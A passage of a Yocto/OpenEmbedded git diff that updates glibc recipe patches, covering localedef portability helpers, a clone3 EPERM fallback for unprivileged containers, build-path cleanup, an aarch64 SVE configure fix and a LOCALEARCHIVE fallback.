-+++ b/locale/localeinfo.h
-@@ -230,7 +230,7 @@ __libc_tsd_define (extern, locale_t, LOCALE)
- unused. We can manage this playing some tricks with weak references.
- But with thread-local locale settings, it becomes quite ungainly unless
- we can use __thread variables. So only in that case do we attempt this. */
--#ifndef SHARED
-+#if !defined SHARED && !defined IN_GLIBC_LOCALEDEF
- # include <tls.h>
- # define NL_CURRENT_INDIRECT 1
- #endif
-diff --git a/locale/programs/charmap-dir.c b/locale/programs/charmap-dir.c
-index 1a526a240d..0fb2daf936 100644
---- a/locale/programs/charmap-dir.c
-+++ b/locale/programs/charmap-dir.c
-@@ -18,7 +18,9 @@
- #include <errno.h>
- #include <fcntl.h>
- #include <libintl.h>
-+#ifndef NO_UNCOMPRESS
- #include <spawn.h>
-+#endif
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-@@ -154,6 +156,7 @@ charmap_closedir (CHARMAP_DIR *cdir)
- return closedir (dir);
- }
-
-+#ifndef NO_UNCOMPRESS
- /* Creates a subprocess decompressing the given pathname, and returns
- a stream reading its output (the decompressed data). */
- static
-@@ -202,6 +205,7 @@ fopen_uncompressed (const char *pathname, const char *compressor)
- }
- return NULL;
- }
-+#endif
-
- /* Opens a charmap for reading, given its name (not an alias name). */
- FILE *
-@@ -224,6 +228,7 @@ charmap_open (const char *directory, const char *name)
- if (stream != NULL)
- return stream;
-
-+#ifndef NO_UNCOMPRESS
- memcpy (p, ".gz", 4);
- stream = fopen_uncompressed (pathname, "gzip");
- if (stream != NULL)
-@@ -233,6 +238,7 @@ charmap_open (const char *directory, const char *name)
- stream = fopen_uncompressed (pathname, "bzip2");
- if (stream != NULL)
- return stream;
-+#endif
-
- return NULL;
- }
-diff --git a/locale/programs/ld-collate.c b/locale/programs/ld-collate.c
-index feb1a11258..5a8e522470 100644
---- a/locale/programs/ld-collate.c
-+++ b/locale/programs/ld-collate.c
-@@ -349,7 +349,7 @@ new_element (struct locale_collate_t *collate, const char *mbs, size_t mbslen,
- }
- if (wcs != NULL)
- {
-- size_t nwcs = wcslen ((wchar_t *) wcs);
-+ size_t nwcs = wcslen_uint32 (wcs);
- uint32_t zero = 0;
- /* Handle <U0000> as a single character. */
- if (nwcs == 0)
-@@ -1772,8 +1772,7 @@ symbol `%s' has the same encoding as"), (*eptr)->name);
-
- if ((*eptr)->nwcs == runp->nwcs)
- {
-- int c = wmemcmp ((wchar_t *) (*eptr)->wcs,
-- (wchar_t *) runp->wcs, runp->nwcs);
-+ int c = wmemcmp_uint32 ((*eptr)->wcs, runp->wcs, runp->nwcs);
-
- if (c == 0)
- {
-@@ -2000,9 +1999,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
- one consecutive entry. */
- if (runp->wcnext != NULL
- && runp->nwcs == runp->wcnext->nwcs
-- && wmemcmp ((wchar_t *) runp->wcs,
-- (wchar_t *)runp->wcnext->wcs,
-- runp->nwcs - 1) == 0
-+ && wmemcmp_uint32 (runp->wcs,
-+ runp->wcnext->wcs,
-+ runp->nwcs - 1) == 0
- && (runp->wcs[runp->nwcs - 1]
- == runp->wcnext->wcs[runp->nwcs - 1] + 1))
- {
-@@ -2026,9 +2025,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
- runp = runp->wcnext;
- while (runp->wcnext != NULL
- && runp->nwcs == runp->wcnext->nwcs
-- && wmemcmp ((wchar_t *) runp->wcs,
-- (wchar_t *)runp->wcnext->wcs,
-- runp->nwcs - 1) == 0
-+ && wmemcmp_uint32 (runp->wcs,
-+ runp->wcnext->wcs,
-+ runp->nwcs - 1) == 0
- && (runp->wcs[runp->nwcs - 1]
- == runp->wcnext->wcs[runp->nwcs - 1] + 1));
-
-diff --git a/locale/programs/ld-ctype.c b/locale/programs/ld-ctype.c
-index 3328093d0e..d58fb0f4b7 100644
---- a/locale/programs/ld-ctype.c
-+++ b/locale/programs/ld-ctype.c
-@@ -915,7 +915,7 @@ ctype_output (struct localedef_t *locale, const struct charmap_t *charmap,
- allocate_arrays (ctype, charmap, ctype->repertoire);
-
- default_missing_len = (ctype->default_missing
-- ? wcslen ((wchar_t *) ctype->default_missing)
-+ ? wcslen_uint32 (ctype->default_missing)
- : 0);
-
- init_locale_data (&file, nelems);
-@@ -1927,7 +1927,7 @@ read_translit_entry (struct linereader *ldfile, struct locale_ctype_t *ctype,
- ignore = 1;
- else
- /* This value is usable. */
-- obstack_grow (ob, to_wstr, wcslen ((wchar_t *) to_wstr) * 4);
-+ obstack_grow (ob, to_wstr, wcslen_uint32 (to_wstr) * 4);
-
- first = 0;
- }
-@@ -2461,8 +2461,8 @@ with character code range values one must use the absolute ellipsis `...'"));
- }
-
- handle_tok_digit:
-- class_bit = _ISwdigit;
-- class256_bit = _ISdigit;
-+ class_bit = BITw (tok_digit);
-+ class256_bit = BIT (tok_digit);
- handle_digits = 1;
- goto read_charclass;
-
-@@ -3904,8 +3904,7 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
-
- while (idx < number)
- {
-- int res = wcscmp ((const wchar_t *) sorted[idx]->from,
-- (const wchar_t *) runp->from);
-+ int res = wcscmp_uint32 (sorted[idx]->from, runp->from);
- if (res == 0)
- {
- replace = 1;
-@@ -3942,11 +3941,11 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
- for (size_t cnt = 0; cnt < number; ++cnt)
- {
- struct translit_to_t *srunp;
-- from_len += wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
-+ from_len += wcslen_uint32 (sorted[cnt]->from) + 1;
- srunp = sorted[cnt]->to;
- while (srunp != NULL)
- {
-- to_len += wcslen ((const wchar_t *) srunp->str) + 1;
-+ to_len += wcslen_uint32 (srunp->str) + 1;
- srunp = srunp->next;
- }
- /* Plus one for the extra NUL character marking the end of
-@@ -3970,18 +3969,18 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
- ctype->translit_from_idx[cnt] = from_len;
- ctype->translit_to_idx[cnt] = to_len;
-
-- len = wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
-- wmemcpy ((wchar_t *) &ctype->translit_from_tbl[from_len],
-- (const wchar_t *) sorted[cnt]->from, len);
-+ len = wcslen_uint32 (sorted[cnt]->from) + 1;
-+ wmemcpy_uint32 (&ctype->translit_from_tbl[from_len],
-+ sorted[cnt]->from, len);
- from_len += len;
-
- ctype->translit_to_idx[cnt] = to_len;
- srunp = sorted[cnt]->to;
- while (srunp != NULL)
- {
-- len = wcslen ((const wchar_t *) srunp->str) + 1;
-- wmemcpy ((wchar_t *) &ctype->translit_to_tbl[to_len],
-- (const wchar_t *) srunp->str, len);
-+ len = wcslen_uint32 (srunp->str) + 1;
-+ wmemcpy_uint32 (&ctype->translit_to_tbl[to_len],
-+ srunp->str, len);
- to_len += len;
- srunp = srunp->next;
- }
-diff --git a/locale/programs/ld-time.c b/locale/programs/ld-time.c
-index f7db873adb..fec3773c9d 100644
---- a/locale/programs/ld-time.c
-+++ b/locale/programs/ld-time.c
-@@ -220,8 +220,10 @@ No definition for %s category found"), "LC_TIME");
- }
- else
- {
-+ static const uint32_t wt_fmt_ampm[]
-+ = { '%','I',':','%','M',':','%','S',' ','%','p',0 };
- time->t_fmt_ampm = "%I:%M:%S %p";
-- time->wt_fmt_ampm = (const uint32_t *) L"%I:%M:%S %p";
-+ time->wt_fmt_ampm = wt_fmt_ampm;
- }
- }
-
-@@ -231,7 +233,7 @@ No definition for %s category found"), "LC_TIME");
- const int days_per_month[12] = { 31, 29, 31, 30, 31, 30,
- 31, 31, 30, 31 ,30, 31 };
- size_t idx;
-- wchar_t *wstr;
-+ uint32_t *wstr;
-
- time->era_entries =
- (struct era_data *) xmalloc (time->num_era
-@@ -457,18 +459,18 @@ No definition for %s category found"), "LC_TIME");
- }
-
- /* Now generate the wide character name and format. */
-- wstr = wcschr ((wchar_t *) time->wera[idx], L':');/* end direction */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end offset */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end start */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end end */
-+ wstr = wcschr_uint32 (time->wera[idx], L':'); /* end direction */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end offset */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end start */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end end */
- if (wstr != NULL)
- {
-- time->era_entries[idx].wname = (uint32_t *) wstr + 1;
-- wstr = wcschr (wstr + 1, L':'); /* end name */
-+ time->era_entries[idx].wname = wstr + 1;
-+ wstr = wcschr_uint32 (wstr + 1, L':'); /* end name */
- if (wstr != NULL)
- {
- *wstr = L'\0';
-- time->era_entries[idx].wformat = (uint32_t *) wstr + 1;
-+ time->era_entries[idx].wformat = wstr + 1;
- }
- else
- time->era_entries[idx].wname =
-@@ -527,7 +529,16 @@ No definition for %s category found"), "LC_TIME");
- if (time->date_fmt == NULL)
- time->date_fmt = "%a %b %e %H:%M:%S %Z %Y";
- if (time->wdate_fmt == NULL)
-- time->wdate_fmt = (const uint32_t *) L"%a %b %e %H:%M:%S %Z %Y";
-+ {
-+ static const uint32_t wdate_fmt[] =
-+ { '%','a',' ',
-+ '%','b',' ',
-+ '%','e',' ',
-+ '%','H',':','%','M',':','%','S',' ',
-+ '%','Z',' ',
-+ '%','Y',0 };
-+ time->wdate_fmt = wdate_fmt;
-+ }
- }
-
-
-diff --git a/locale/programs/linereader.c b/locale/programs/linereader.c
-index 7ebd933801..5753750756 100644
---- a/locale/programs/linereader.c
-+++ b/locale/programs/linereader.c
-@@ -595,7 +595,7 @@ get_string (struct linereader *lr, const struct charmap_t *charmap,
- {
- int return_widestr = lr->return_widestr;
- char *buf;
-- wchar_t *buf2 = NULL;
-+ uint32_t *buf2 = NULL;
- size_t bufact;
- size_t bufmax = 56;
-
-diff --git a/locale/programs/localedef.c b/locale/programs/localedef.c
-index b048bd05b9..fed15c42ec 100644
---- a/locale/programs/localedef.c
-+++ b/locale/programs/localedef.c
-@@ -109,6 +109,7 @@ void (*argp_program_version_hook) (FILE *, struct argp_state *) = print_version;
- #define OPT_NO_WARN 402
- #define OPT_WARN 403
- #define OPT_NO_HARD_LINKS 404
-+#define OPT_UINT32_ALIGN 405
-
- /* Definitions of arguments for argp functions. */
- static const struct argp_option options[] =
-@@ -153,6 +154,8 @@ static const struct argp_option options[] =
- N_("Generate little-endian output") },
- { "big-endian", OPT_BIG_ENDIAN, NULL, 0,
- N_("Generate big-endian output") },
-+ { "uint32-align", OPT_UINT32_ALIGN, "ALIGNMENT", 0,
-+ N_("Set the target's uint32_t alignment in bytes (default 4)") },
- { NULL, 0, NULL, 0, NULL }
- };
-
-@@ -243,12 +246,14 @@ main (int argc, char *argv[])
- ctype locale. (P1003.2 4.35.5.2) */
- setlocale (LC_CTYPE, "POSIX");
-
-+#ifndef NO_SYSCONF
- /* Look whether the system really allows locale definitions. POSIX
- defines error code 3 for this situation so I think it must be
- a fatal error (see P1003.2 4.35.8). */
- if (sysconf (_SC_2_LOCALEDEF) < 0)
- record_error (3, 0, _("\
- FATAL: system does not define `_POSIX2_LOCALEDEF'"));
-+#endif
-
- /* Process charmap file. */
- charmap = charmap_read (charmap_file, verbose, 1, be_quiet, 1);
-@@ -400,6 +405,9 @@ parse_opt (int key, char *arg, struct argp_state *state)
- /* Do not hard link to other locales. */
- hard_links = false;
- break;
-+ case OPT_UINT32_ALIGN:
-+ uint32_align_mask = strtol (arg, NULL, 0) - 1;
-+ break;
- case 'c':
- force_output = 1;
- break;
-diff --git a/locale/programs/locfile.c b/locale/programs/locfile.c
-index eb2f4634da..d387147323 100644
---- a/locale/programs/locfile.c
-+++ b/locale/programs/locfile.c
-@@ -544,6 +544,9 @@ compare_files (const char *filename1, const char *filename2, size_t size,
- machine running localedef. */
- bool swap_endianness_p;
-
-+/* The target's value of __align__(uint32_t) - 1. */
-+unsigned int uint32_align_mask = 3;
-+
- /* When called outside a start_locale_structure/end_locale_structure
- or start_locale_prelude/end_locale_prelude block, record that the
- next byte in FILE's obstack will be the first byte of a new element.
-@@ -621,7 +624,7 @@ add_locale_string (struct locale_file *file, const char *string)
- void
- add_locale_wstring (struct locale_file *file, const uint32_t *string)
- {
-- add_locale_uint32_array (file, string, wcslen ((const wchar_t *) string) + 1);
-+ add_locale_uint32_array (file, string, wcslen_uint32 (string) + 1);
- }
-
- /* Record that FILE's next element is the 32-bit integer VALUE. */
-diff --git a/locale/programs/locfile.h b/locale/programs/locfile.h
-index 7ea10038b4..0888c09762 100644
---- a/locale/programs/locfile.h
-+++ b/locale/programs/locfile.h
-@@ -71,6 +71,8 @@ extern void write_all_categories (struct localedef_t *definitions,
-
- extern bool swap_endianness_p;
-
-+extern unsigned int uint32_align_mask;
-+
- /* Change the output to be big-endian if BIG_ENDIAN is true and
- little-endian otherwise. */
- static inline void
-@@ -89,7 +91,8 @@ maybe_swap_uint32 (uint32_t value)
- }
-
- /* Likewise, but munge an array of N uint32_ts starting at ARRAY. */
--static inline void
-+static void
-+__attribute__ ((unused))
- maybe_swap_uint32_array (uint32_t *array, size_t n)
- {
- if (swap_endianness_p)
-@@ -99,7 +102,8 @@ maybe_swap_uint32_array (uint32_t *array, size_t n)
-
- /* Like maybe_swap_uint32_array, but the array of N elements is at
- the end of OBSTACK's current object. */
--static inline void
-+static void
-+__attribute__ ((unused))
- maybe_swap_uint32_obstack (struct obstack *obstack, size_t n)
- {
- maybe_swap_uint32_array ((uint32_t *) obstack_next_free (obstack) - n, n);
-@@ -276,4 +280,55 @@ extern void identification_output (struct localedef_t *locale,
- const struct charmap_t *charmap,
- const char *output_path);
-
-+static size_t wcslen_uint32 (const uint32_t *str) __attribute__ ((unused));
-+static uint32_t * wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
-+static uint32_t * wcschr_uint32 (const uint32_t *s, uint32_t ch) __attribute__ ((unused));
-+static int wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2) __attribute__ ((unused));
-+static int wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
-+
-+static size_t
-+wcslen_uint32 (const uint32_t *str)
-+{
-+ size_t len = 0;
-+ while (str[len] != 0)
-+ len++;
-+ return len;
-+}
-+
-+static int
-+wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n)
-+{
-+ while (n-- != 0)
-+ {
-+ int diff = *s1++ - *s2++;
-+ if (diff != 0)
-+ return diff;
-+ }
-+ return 0;
-+}
-+
-+static int
-+wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2)
-+{
-+ while (*s1 != 0 && *s1 == *s2)
-+ s1++, s2++;
-+ return *s1 - *s2;
-+}
-+
-+static uint32_t *
-+wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n)
-+{
-+ return memcpy (s1, s2, n * sizeof (uint32_t));
-+}
-+
-+static uint32_t *
-+wcschr_uint32 (const uint32_t *s, uint32_t ch)
-+{
-+ do
-+ if (*s == ch)
-+ return (uint32_t *) s;
-+ while (*s++ != 0);
-+ return 0;
-+}
-+
- #endif /* locfile.h */
-diff --git a/locale/setlocale.c b/locale/setlocale.c
-index 030f1727bd..096d8ed895 100644
---- a/locale/setlocale.c
-+++ b/locale/setlocale.c
-@@ -63,35 +63,6 @@ static char *const _nl_current_used[] =
-
- #endif
-
--
--/* Define an array of category names (also the environment variable names). */
--const struct catnamestr_t _nl_category_names attribute_hidden =
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- category_name,
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- };
--
--const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- };
--
--/* An array of their lengths, for convenience. */
--const uint8_t _nl_category_name_sizes[] attribute_hidden =
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- [category] = sizeof (category_name) - 1,
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- [LC_ALL] = sizeof ("LC_ALL") - 1
-- };
--
--
- #ifdef NL_CURRENT_INDIRECT
- # define WEAK_POSTLOAD(postload) weak_extern (postload)
- #else
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0021-fix-create-thread-failed-in-unprivileged-process-BZ-.patch b/meta/recipes-core/glibc/glibc/0021-fix-create-thread-failed-in-unprivileged-process-BZ-.patch
new file mode 100644
index 0000000000..d57dce125c
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0021-fix-create-thread-failed-in-unprivileged-process-BZ-.patch
@@ -0,0 +1,86 @@
+From 7254706544be5100843fc0a332e836fccffc9ef1 Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Sun, 29 Aug 2021 20:49:16 +0800
+Subject: [PATCH] fix create thread failed in unprivileged process [BZ #28287]
+
+Since commit [d8ea0d0168 Add an internal wrapper for clone, clone2 and clone3]
+applied, start a unprivileged container (docker run without --privileged),
+it creates a thread failed in container.
+
+In commit d8ea0d0168, it calls __clone3 if HAVE_CLONE3_WAPPER is defined. If
+__clone3 returns -1 with ENOSYS, fall back to clone or clone2.
+
+As known from [1], cloneXXX fails with EPERM if CLONE_NEWCGROUP,
+CLONE_NEWIPC, CLONE_NEWNET, CLONE_NEWNS, CLONE_NEWPID, or CLONE_NEWUTS
+was specified by an unprivileged process (process without CAP_SYS_ADMIN)
+
+[1] https://man7.org/linux/man-pages/man2/clone3.2.html
+
+So if __clone3 returns -1 with EPERM, fall back to clone or clone2 could
+fix the issue. Here are the test steps:
+
+1) Prepare test code
+cat > conftest.c <<ENDOF
+ #include <pthread.h>
+ #include <stdio.h>
+
+int check_me = 0;
+void* func(void* data) {check_me = 42; printf("start thread: check_me %d\n", check_me); return &check_me;}
+int main()
+{
+ pthread_t t;
+ void *ret;
+ pthread_create (&t, 0, func, 0);
+ pthread_join (t, &ret);
+ printf("check_me %d, p %p\n", check_me, &ret);
+ return (check_me != 42 || ret != &check_me);
+}
+
+ENDOF
+
+2) Compile
+gcc -o conftest -pthread conftest.c
+
+3) Start a container with glibc 2.34 installed
+[skip details]
+docker run -it <container-image-name> bash
+
+4) Run conftest without this patch
+$ ./conftest
+check_me 0, p 0x7ffd91ccd400
+
+5) Run conftest with this patch
+$ ./conftest
+start thread: check_me 42
+check_me 42, p 0x7ffe253c6f20
+
+Upstream-Status: Inappropriate [Rejected by upstream]
+
+Upstream glibc rejected it because the latest docker has resolved the issue [1],
+and upstream glibc does not backward compatibility with old docker[2]
+
+In order to build Yocto with uninative in old docker, we need this local
+patch
+
+[1] https://github.com/moby/moby/commit/9f6b562dd12ef7b1f9e2f8e6f2ab6477790a6594
+[2] https://sourceware.org/pipermail/libc-alpha/2021-August/130590.html
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/unix/sysv/linux/clone-internal.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/sysdeps/unix/sysv/linux/clone-internal.c b/sysdeps/unix/sysv/linux/clone-internal.c
+index 40ef30303f..f97b1f6900 100644
+--- a/sysdeps/unix/sysv/linux/clone-internal.c
++++ b/sysdeps/unix/sysv/linux/clone-internal.c
+@@ -98,7 +98,7 @@ __clone_internal (struct clone_args *cl_args,
+ #ifdef HAVE_CLONE3_WRAPPER
+ int saved_errno = errno;
+ int ret = __clone3_internal (cl_args, func, arg);
+- if (ret != -1 || errno != ENOSYS)
++ if (ret != -1 || (errno != ENOSYS && errno != EPERM))
+ return ret;
+
+ /* NB: Restore errno since errno may be checked against non-zero
diff --git a/meta/recipes-core/glibc/glibc/0022-Avoid-hardcoded-build-time-paths-in-the-output-binar.patch b/meta/recipes-core/glibc/glibc/0022-Avoid-hardcoded-build-time-paths-in-the-output-binar.patch
new file mode 100644
index 0000000000..b527ddffc8
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0022-Avoid-hardcoded-build-time-paths-in-the-output-binar.patch
@@ -0,0 +1,32 @@
+From d39779afc72d34f87f052097592008cc38e20615 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Sun, 24 Jul 2022 07:07:29 -0700
+Subject: [PATCH] Avoid hardcoded build time paths in the output binaries
+
+replace the compile definitions with the output locations.
+
+Upstream-Status: Inappropriate [would need reworking somehow to be acceptable upstream]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ support/Makefile | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/support/Makefile b/support/Makefile
+index 362a51f882..56d2b37058 100644
+--- a/support/Makefile
++++ b/support/Makefile
+@@ -228,9 +228,9 @@ libsupport-inhibit-o += .o
+ endif
+
+ CFLAGS-support_paths.c = \
+- -DSRCDIR_PATH=\"`cd .. ; pwd`\" \
+- -DOBJDIR_PATH=\"`cd $(objpfx)/..; pwd`\" \
+- -DOBJDIR_ELF_LDSO_PATH=\"`cd $(objpfx)/..; pwd`/elf/$(rtld-installed-name)\" \
++ -DSRCDIR_PATH=\"$(oe_srcdir)\" \
++ -DOBJDIR_PATH=\"$(libdir)/glibc-tests/ptest/tests/glibc-ptest\" \
++ -DOBJDIR_ELF_LDSO_PATH=\"$(slibdir)/$(rtld-installed-name)\" \
+ -DINSTDIR_PATH=\"$(prefix)\" \
+ -DLIBDIR_PATH=\"$(libdir)\" \
+ -DBINDIR_PATH=\"$(bindir)\" \
diff --git a/meta/recipes-core/glibc/glibc/0022-Define-DUMMY_LOCALE_T-if-not-defined.patch b/meta/recipes-core/glibc/glibc/0022-Define-DUMMY_LOCALE_T-if-not-defined.patch
deleted file mode 100644
index 0e93183087..0000000000
--- a/meta/recipes-core/glibc/glibc/0022-Define-DUMMY_LOCALE_T-if-not-defined.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From ad5bc87134871b99e082e2449b8c1ce2f1375ef9 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 20 Apr 2016 21:11:00 -0700
-Subject: [PATCH 22/29] Define DUMMY_LOCALE_T if not defined
-
-This is a hack to fix building the locale bits on an older
-CentOs 5.X machine
-
-Upstream-Status: Inappropriate [other]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/programs/config.h | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/locale/programs/config.h b/locale/programs/config.h
-index d76d9f7e8b..92b56d7df3 100644
---- a/locale/programs/config.h
-+++ b/locale/programs/config.h
-@@ -19,6 +19,9 @@
- #ifndef _LD_CONFIG_H
- #define _LD_CONFIG_H 1
-
-+#ifndef DUMMY_LOCALE_T
-+#define DUMMY_LOCALE_T
-+#endif
- /* Use the internal textdomain used for libc messages. */
- #define PACKAGE _libc_intl_domainname
- #ifndef VERSION
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0023-aarch64-configure-Pass-mcpu-along-with-march-to-dete.patch b/meta/recipes-core/glibc/glibc/0023-aarch64-configure-Pass-mcpu-along-with-march-to-dete.patch
new file mode 100644
index 0000000000..f6523c5498
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0023-aarch64-configure-Pass-mcpu-along-with-march-to-dete.patch
@@ -0,0 +1,62 @@
+From 73c26018ed0ecd9c807bb363cc2c2ab4aca66a82 Mon Sep 17 00:00:00 2001
+From: Szabolcs Nagy <szabolcs.nagy@arm.com>
+Date: Wed, 13 Mar 2024 14:34:14 +0000
+Subject: [PATCH] aarch64: fix check for SVE support in assembler
+
+Due to GCC bug 110901 -mcpu can override -march setting when compiling
+asm code and thus a compiler targetting a specific cpu can fail the
+configure check even when binutils gas supports SVE.
+
+The workaround is that explicit .arch directive overrides both -mcpu
+and -march, and since that's what the actual SVE memcpy uses the
+configure check should use that too even if the GCC issue is fixed
+independently.
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=glibc.git;a=commit;h=73c26018ed0ecd9c807bb363cc2c2ab4aca66a82]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Reviewed-by: Florian Weimer <fweimer@redhat.com>
+---
+ sysdeps/aarch64/configure | 5 +++--
+ sysdeps/aarch64/configure.ac | 5 +++--
+ 2 files changed, 6 insertions(+), 4 deletions(-)
+ mode change 100644 => 100755 sysdeps/aarch64/configure
+
+diff --git a/sysdeps/aarch64/configure b/sysdeps/aarch64/configure
+old mode 100644
+new mode 100755
+index ca57edce47..9606137e8d
+--- a/sysdeps/aarch64/configure
++++ b/sysdeps/aarch64/configure
+@@ -325,9 +325,10 @@ then :
+ printf %s "(cached) " >&6
+ else $as_nop
+ cat > conftest.s <<\EOF
+- ptrue p0.b
++ .arch armv8.2-a+sve
++ ptrue p0.b
+ EOF
+-if { ac_try='${CC-cc} -c -march=armv8.2-a+sve conftest.s 1>&5'
++if { ac_try='${CC-cc} -c conftest.s 1>&5'
+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_try\""; } >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+diff --git a/sysdeps/aarch64/configure.ac b/sysdeps/aarch64/configure.ac
+index 27874eceb4..56d12d661d 100644
+--- a/sysdeps/aarch64/configure.ac
++++ b/sysdeps/aarch64/configure.ac
+@@ -90,9 +90,10 @@ LIBC_CONFIG_VAR([aarch64-variant-pcs], [$libc_cv_aarch64_variant_pcs])
+ # Check if asm support armv8.2-a+sve
+ AC_CACHE_CHECK([for SVE support in assembler], [libc_cv_aarch64_sve_asm], [dnl
+ cat > conftest.s <<\EOF
+- ptrue p0.b
++ .arch armv8.2-a+sve
++ ptrue p0.b
+ EOF
+-if AC_TRY_COMMAND(${CC-cc} -c -march=armv8.2-a+sve conftest.s 1>&AS_MESSAGE_LOG_FD); then
++if AC_TRY_COMMAND(${CC-cc} -c conftest.s 1>&AS_MESSAGE_LOG_FD); then
+ libc_cv_aarch64_sve_asm=yes
+ else
+ libc_cv_aarch64_sve_asm=no
+--
+2.44.0
+
diff --git a/meta/recipes-core/glibc/glibc/0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch b/meta/recipes-core/glibc/glibc/0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
deleted file mode 100644
index 7cbf6811a1..0000000000
--- a/meta/recipes-core/glibc/glibc/0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-From c5fd8a3d336b8288f631fb6b6dd85f9d1076f25b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Aug 2018 09:42:06 -0700
-Subject: [PATCH 23/29] localedef --add-to-archive uses a hard-coded locale
- path
-
-it doesn't exist in normal use, and there's no way to pass an
-alternative filename.
-
-Add a fallback of $LOCALEARCHIVE from the environment, and allow
-creation of new locale archives that are not the system archive.
-
-Upstream-Status: Inappropriate (OE-specific)
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/programs/locarchive.c | 35 +++++++++++++++++++++++++----------
- 1 file changed, 25 insertions(+), 10 deletions(-)
-
-diff --git a/locale/programs/locarchive.c b/locale/programs/locarchive.c
-index dccaf04e3b..ae0b7fe155 100644
---- a/locale/programs/locarchive.c
-+++ b/locale/programs/locarchive.c
-@@ -340,12 +340,24 @@ enlarge_archive (struct locarhandle *ah, const struct locarhead *head)
- struct namehashent *oldnamehashtab;
- struct locarhandle new_ah;
- size_t prefix_len = output_prefix ? strlen (output_prefix) : 0;
-- char archivefname[prefix_len + sizeof (ARCHIVE_NAME)];
-- char fname[prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1];
-+ char *archivefname;
-+ char *fname;
-+ char *envarchive = getenv("LOCALEARCHIVE");
-
-- if (output_prefix)
-- memcpy (archivefname, output_prefix, prefix_len);
-- strcpy (archivefname + prefix_len, ARCHIVE_NAME);
-+ if (envarchive != NULL)
-+ {
-+ archivefname = xmalloc(strlen(envarchive) + 1);
-+ fname = xmalloc(strlen(envarchive) + sizeof (".XXXXXX"));
-+ strcpy (archivefname, envarchive);
-+ }
-+ else
-+ {
-+ archivefname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME));
-+ fname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1);
-+ if (output_prefix)
-+ memcpy (archivefname, output_prefix, prefix_len);
-+ strcpy (archivefname + prefix_len, ARCHIVE_NAME);
-+ }
- strcpy (stpcpy (fname, archivefname), ".XXXXXX");
-
- /* Not all of the old file has to be mapped. Change this now this
-@@ -569,10 +581,13 @@ open_archive (struct locarhandle *ah, bool readonly)
- /* If ah has a non-NULL fname open that otherwise open the default. */
- if (archivefname == NULL)
- {
-- archivefname = default_fname;
-- if (output_prefix)
-- memcpy (default_fname, output_prefix, prefix_len);
-- strcpy (default_fname + prefix_len, ARCHIVE_NAME);
-+ archivefname = getenv("LOCALEARCHIVE");
-+ if (archivefname == NULL) {
-+ archivefname = default_fname;
-+ if (output_prefix)
-+ memcpy (default_fname, output_prefix, prefix_len);
-+ strcpy (default_fname + prefix_len, ARCHIVE_NAME);
-+ }
- }
-
- while (1)
-@@ -585,7 +600,7 @@ open_archive (struct locarhandle *ah, bool readonly)
